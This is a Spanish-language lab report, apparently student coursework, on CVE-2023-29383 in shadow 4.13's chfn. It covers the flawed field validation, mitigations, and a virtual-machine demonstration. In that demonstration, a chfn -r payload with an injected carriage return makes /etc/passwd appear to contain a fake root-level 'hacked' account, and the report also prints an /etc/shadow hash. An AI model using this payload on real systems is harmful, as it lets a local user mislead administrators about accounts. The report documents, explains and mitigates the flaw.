CVE-2023-29383

Explotación de vulnerabilidad

758631
Hong Christian Lin Jiang

Caracterización

- Tipo y clasificación:
Vulnerabilidad de inyección de caracteres de control en chfn.c de shadow.
Categoría de CWE-74: inyección de caracteres especiales en los comandos.

- Impacto:
Permite que un atacante manipule cómo se representa /etc/passwd (campos de entrada), engañando al sistema o a un administrador para creer que hay cuentas no autorizadas.
Los campos de información personal están asociados a la cuenta, como el nombre completo o el número de sala, editando la entrada correspondiente en /etc/passwd.
Aunque no compromete la integridad de la información, podría provocar decisiones de administración erróneas.

- Alcance:
La vulnerabilidad afecta en Linux con shadow 4.13. Su impacto es local, y es necesaria cierta interacción del usuario, como revisar /etc/passwd.

Descripción técnica

- Análisis:

chfn.c, "roomno".
valid_field valida los campos con un conjunto limitado de delimitadores prohibidos (`:,=\n`).

La falta de validación adecuada de los datos permite inyectar caracteres de control como ‘\r’ y los Unicode, los cuales no están bloqueados en este campo.

Luego, no controla adecuadamente las secuencias especiales como `\r`, que pueden manipular la forma en que se interpretan las entradas en /etc/passwd.

Aunque esta inyección no permite agregar usuarios nuevos directamente (‘\n’), permite que el archivo se represente de manera que parezca haber un usuario nuevo o alterado, lo cual puede confundir a los administradores del sistema.

```
binary@binary-VirtualBox:~/shadow-4.13/src$ cat chfn.c
...
/*
 * check_fields - check all of the fields for valid information
 *
 *		It will not return if a field is not valid.
 */
static void check_fields (void)
{
	int err;
	err = valid_field (fullnm, ":,=\n");
	if (err > 0) {
		fprintf (stderr, _("%s: name with non-ASCII characters: '%s'\n"), Prog, fullnm);
	} else if (err < 0) {
		fprintf (stderr, _("%s: invalid name: '%s'\n"), Prog, fullnm);
		fail_exit (E_NOPERM);
	}
	err = valid_field (roomno, ":,=\n");
	if (err > 0) {
		fprintf (stderr, _("%s: room number with non-ASCII characters: '%s'\n"), Prog, roomno);
	} else if (err < 0) {
		fprintf (stderr, _("%s: invalid room number: '%s'\n"),
			 Prog, roomno);
		fail_exit (E_NOPERM);
	}
	...
	err = valid_field (slop, ":\n");
	if (err > 0) {
		fprintf (stderr, _("%s: '%s' contains non-ASCII characters\n"), Prog, slop);
	} else if (err < 0) {
		fprintf (stderr,
			 _("%s: '%s' contains illegal characters\n"),
			 Prog, slop);
		fail_exit (E_NOPERM);
	}
}
...
```

```
binary@binary-VirtualBox:~/shadow-4.13/lib$ cat fields.c
/*
 * SPDX-FileCopyrightText: 1990       , Julianne Frances Haugh
 * SPDX-FileCopyrightText: 1996 - 1997, Marek Michałkiewicz
 * SPDX-FileCopyrightText: 2003 - 2005, Tomasz Kłoczko
 * SPDX-FileCopyrightText: 2007       , Nicolas François
 *
 * SPDX-License-Identifier: BSD-3-Clause
 */

#include <config.h>

#ident "$Id$"

#include <ctype.h>
#include <string.h>
#include <stdio.h>
#include "prototypes.h"

/*
 * valid_field - insure that a field contains all legal characters
 *
 * The supplied field is scanned for non-printable and other illegal
 * characters.
 *  + -1 is returned if an illegal character is present.
 *  +  1 is returned if no illegal characters are present, but the field
 *       contains a non-printable character.
 *  +  0 is returned otherwise.
 */
```

```
int valid_field (const char *field, const char *illegal)
{
	const char *cp;
	int err = 0;

	if (NULL == field) {
		return -1;
	}

	/* For each character of field, search if it appears
in the list
	 * of illegal characters. */
	for (cp = field; '\0' != *cp; cp++) {
		if (strchr (illegal, *cp) != NULL) {
			err = -1;
			break;
		}
	}

	if (0 == err) {
		/* Search if there are some
non-printable characters */
		for (cp = field; '\0' != *cp; cp++) {
			if (!isprint (*cp)) {
				err = 1;
				break;
			}
		}
	}

	return err;
}

...
```

- Contextualización:

Ataques basados en la manipulación de visualización de archivos del sistema. Aunque no ofrece un acceso directo a privilegios elevados, puede ser usada para manipular la percepción del administrador, abriendo la puerta a **ingenierías sociales** que puedan derivar en DoS.

Un atacante podría mostrar una representación falsa de /etc/passwd (entradas confusas o aparentes usuarios adicionales) para engañar a un administrador y hacer que tome decisiones erróneas, como desconectar un sistema innecesariamente.

Bajo riesgo debido a que no compromete directamente la integridad ni la disponibilidad.

- Técnicas de mitigación:

a. Actualizar a una versión corregida, donde los caracteres de control en ‘roomno’ y otros campos en chfn.c sean adecuadamente filtrados.
Mejorar la validación de entrada para manejar casos especiales como los Unicode y secuencias de escape.

b. Ajustar permisos y propietarios para prevenir modificaciones no autorizadas. Configurar un monitoreo estricto de cambios en /etc/passwd y la auditoría de chfn.c podría ayudar a detectar manipulaciones tempranas.

c. Restaurar archivos críticos desde copias de seguridad.

Demostración práctica

- Condiciones para la explotación:
Un atacante necesita acceso a un entorno local en Linux donde pueda ejecutar chfn. No requiere permisos elevados, pero sí acceso para modificar ciertos campos de chfn.

- Impacto:
La demostración se enfocaría en cómo, tras la inyección de \r o caracteres Unicode, /etc/passwd aparenta tener una entrada falsa. Este engaño podría ser ilustrado mostrando que el archivo visualmente parece alterado al listar su contenido en consola.

Modificar /etc/passwd de forma maliciosa, lo que puede:

a. Interrumpir el funcionamiento normal del sistema.
b. Crear entradas falsas o confusas que podrían ser utilizadas para escaladas de privilegios.

Instalación del paquete shadow 4.13

1. Verificar los prerrequisitos:

```
binary@binary-VirtualBox:~$ sudo apt-get update
[sudo] password for binary: binary
...
binary@binary-VirtualBox:~$ sudo apt-get install build-essential wget dpkg-dev
...
```

2. Descargar el código fuente de shadow 4.13:

```
binary@binary-VirtualBox:~$ wget https://github.com/shadow-maint/shadow/releases/download/4.13/shadow-4.13.tar.xz
...
binary@binary-VirtualBox:~$ ls
capstone  Desktop   Downloads  libdft  Pictures  Public   shadow-4.13.tar.xz  triton
code      Documents  kernel     Music   pin       radare2  Templates          Videos
```

3. Extraer el código fuente: Se descomprime el archivo .tar.xz.

```
binary@binary-VirtualBox:~$ tar -xvf shadow-4.13.tar.xz
...
binary@binary-VirtualBox:~$ ls
capstone  Desktop   Downloads  libdft  Pictures  Public   shadow-4.13        Templates  Videos
code      Documents  kernel     Music   pin       radare2  shadow-4.13.tar.xz  triton
binary@binary-VirtualBox:~$ cd shadow-4.13
binary@binary-VirtualBox:~/shadow-4.13$ ls
ABOUT-NLS   compile     configure  doc       libsubid  man       shadow.spec.in
acinclude.m4  config.guess  configure.ac  etc       ltmain.sh  missing   src
aclocal.m4  config.h.in  contrib    install-sh  m4        NEWS      TODO
AUTHORS.md  config.rpath  COPYING    lib       Makefile.am  po        ylwrap
ChangeLog   config.sub   depcomp    libmisc   Makefile.in  README
```

4. Preparar e instalar Shadow: Se configura el entorno.
--prefix=/usr instala los binarios en /usr/bin.
--sysconfdir=/etc garantiza que los archivos de configuración se coloquen en /etc.

```
binary@binary-VirtualBox:~/shadow-4.13$ ./configure --prefix=/usr --sysconfdir=/etc
...
```

Se compila el código fiuente.

```
binary@binary-VirtualBox:~/shadow-4.13$ make
...
```

Se instala los binarios compilados.

```
binary@binary-VirtualBox:~/shadow-4.13$ sudo make install
...
```

5. Verificar la instalación comprobando la versión instalada.

```
binary@binary-VirtualBox:~/shadow-4.13$ grep "PACKAGE_VERSION" config.h
#define PACKAGE_VERSION "4.13"
```

Se verifica la ruta binaria asegurando de que el binario usermod instalado provenga del paquete shadow 4.13 compilado.

```
binary@binary-VirtualBox:~/shadow-4.13$ which usermod
/usr/sbin/usermod
```

Se realiza una copia de seguridad de los archivos confidenciales (críticos), como /etc/passwd y /etc/shadow. Tras esto se confirma si las copias son creadas.

```
binary@binary-VirtualBox:~$ sudo cp /etc/passwd /etc/passwd.bak
[sudo] password for binary:
binary@binary-VirtualBox:~$ sudo cp /etc/shadow /etc/shadow.bak
binary@binary-VirtualBox:~$ ls -l /etc/passwd.bak /etc/shadow.bak
-rw-r--r-- 1 root root 2378 jan  8 13:56 /etc/passwd.bak
-rw-r----- 1 root root 1320 jan  8 13:57 /etc/shadow.bak
```

1. Revisión inicial de /etc/passwd y /etc/shadow: Se observa el estado inicial de los archivos. El usuario “binary” tiene permisos limitados para modificar campos en su propia entrada mediante el comando chfn.

```
binary@binary-VirtualBox:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
gdm:x:121:127:Gnome Display Manager:/var/lib/gdm3:/bin/false
binary:x:1000:1000:binary,,,:/home/binary:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin


binary@binary-VirtualBox:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
binary@binary-VirtualBox:~$ sudo cat /etc/shadow
[sudo] password for binary:
root:!:17455:0:99999:7:::
...
gdm:*:17379:0:99999:7:::
binary:$6$RroDIiJS$wYNxKhj9fMlARjY/k9ZMpbOBwaR9ktC5smmSpeBFElQrBPfpTiF3JQVjcd706/ars1cSfe40AE83P07fk/P4y0:17455:0:99999:7:::
vboxadd:!:17455::::::
sshd:*:17455:0:99999:7:::
```

2. Prueba de modificación con datos válidos: GECOS (General Electric Comprehensive Operating Supervisor) para el usuario “binary” es una lista separada por comas de información del usuario, como nombre completo, número de sala, teléfono del trabajo, teléfono de casa, etc. En el archivo /etc/passwd, este campo se encuentra después del nombre de usuario, el ID de grupo y el directorio de inicio, antes del shell.

```
binary@binary-VirtualBox:~$ chfn -r 41414141
Password:

binary@binary-VirtualBox:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
…
gdm:x:121:127:Gnome Display Manager:/var/lib/gdm3:/bin/false
binary:x:1000:1000:binary,41414141,,:/home/binary:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
```

3. Prueba con caracteres no ASCII: Se intenta inyectar datos con caracteres Unicode y caracteres especiales (`\r`, `\ua789`, etc.) en el campo de número de sala. Aunque chfn detecta algunos caracteres no válidos y devuelve errores, el programa parece no manejar correctamente todas las entradas malformadas.

```
binary@binary-VirtualBox:~$ chfn -r “`echo -e ‘\rroominjection’`”
Password:
chfn: room number with non-ASCII characters: "“‘rroominjection’”"

binary@binary-VirtualBox:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
…
gdm:x:121:127:Gnome Display Manager:/var/lib/gdm3:/bin/false
binary:x:1000:1000:binary,“‘rroominjection’”,,:/home/binary:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
```

```
chfn -r “`echo -e ‘\rhacked\ua789x\ua7890\ua7890\ua789root user’`”

binary@binary-VirtualBox:~$ chfn -r “`echo -e ‘\rroominjection’`”
Password:
chfn: room number with non-ASCII characters: '“‘rroominjection’”'
binary@binary-VirtualBox:~$ chfn -r “`echo -e ‘\rhacked\ua789x\ua7890\ua7890\ua789root user’`”
chfn: user 'user’”' does not exist
binary@binary-VirtualBox:~$ chfn -r “`echo -e ‘\rhacked\ua789x\ua7890\ua7890\ua789root binary’`”
chfn: user 'binary’”' does not exist

binary@binary-VirtualBox:~$ chfn -r “`echo -e ‘\rhacked\ua789x\ua7890\ua7890\ua789root’`”
Password:
chfn: room number with non-ASCII characters: '“‘rhackedua789xua7890ua7890ua789root’”'
…
```

4. Explotación: Una entrada con caracteres especiales (`\r`, `\ua789`) es aceptada parcialmente, lo que lleva a la inclusión de datos malformados en el campo correspondiente del archivo /etc/passwd.

```
binary@binary-VirtualBox:~$ chfn -r "`echo -e '\rhacked\ua789x\ua7890\ua7890\ua789root'`"
Password:
hacked:x:0:0:root'with non-ASCII characters: '

binary@binary-VirtualBox:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
…
gdm:x:121:127:Gnome Display Manager:/var/lib/gdm3:/bin/false
binary:x:1000:1000:binary,
hacked:x:0:0:root,,:/home/binary:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
```

```
binary@binary-VirtualBox:~$ chfn -r "`echo -e '\rhacked\ua789x\ua7890\ua7890\ua789root user'`"
Password:
hacked:x:0:0:root user'non-ASCII characters: '

binary@binary-VirtualBox:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
…
gdm:x:121:127:Gnome Display Manager:/var/lib/gdm3:/bin/false
binary:x:1000:1000:binary,
hacked:x:0:0:root user,,:/home/binary:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
```

5. Restauración de archivos críticos:

Después de las pruebas, se restauran /etc/passwd y /etc/shadow desde copias de respaldo para evitar corrupción permanente del sistema.

```
binary@binary-VirtualBox:~$ sudo cp /etc/passwd.bak /etc/passwd
binary@binary-VirtualBox:~$ sudo cp /etc/shadow.bak /etc/shadow
```

Se ajustan los permisos y propietarios de los archivos para garantizar su integridad.

```
binary@binary-VirtualBox:~$ sudo chmod 644 /etc/passwd
binary@binary-VirtualBox:~$ sudo chmod 600 /etc/shadow
binary@binary-VirtualBox:~$ sudo chown root:root /etc/passwd /etc/shadow
```

Dificultad de la vulnerabilidad

Media (sin gran complejidad técnica)
La inyección precisa de caracteres específicos y el conocimiento del formato de /etc/passwd sí exigen experiencia en manipulación de archivos y conocimientos en Linux. La mitigación es directa una vez que se identifica el problema, pero la detección y los análisis exhaustivos pueden ser difíciles sin dichos conocimientos avanzados.

Conclusión

Una explotación de la CVE-2023-29383 podría ser usada con otras técnicas para comprometer sistemas vulnerables. Sin embargo, requiere acceso local y un entorno específico para que sea exitosa. La mitigación pasa por actualizar shadow a una versión parcheada o aplicar restricciones adicionales en el uso de chfn.c.

Referencias bibliográficas:

TRUSTWAVE MDR
GITHUB
TENABLE®
- GitHub Advisory Database: In Shadow 4.13, it is possible to inject control... · CVE-2023-29383 · GitHub Advisory Database · GitHub
- Github: GitHub - shadow-maint/shadow: Upstream shadow tree
- Trustwave SpiderLabs Blog: CVE-2023-29383: Abusing Linux chfn to Misrepresent etc passwd | Trustwave
- Tenable: CVE-2023-29383 | Tenable®
- NVD: NVD - cve-2023-29383
- Linux manual page: chfn(1) - Linux manual page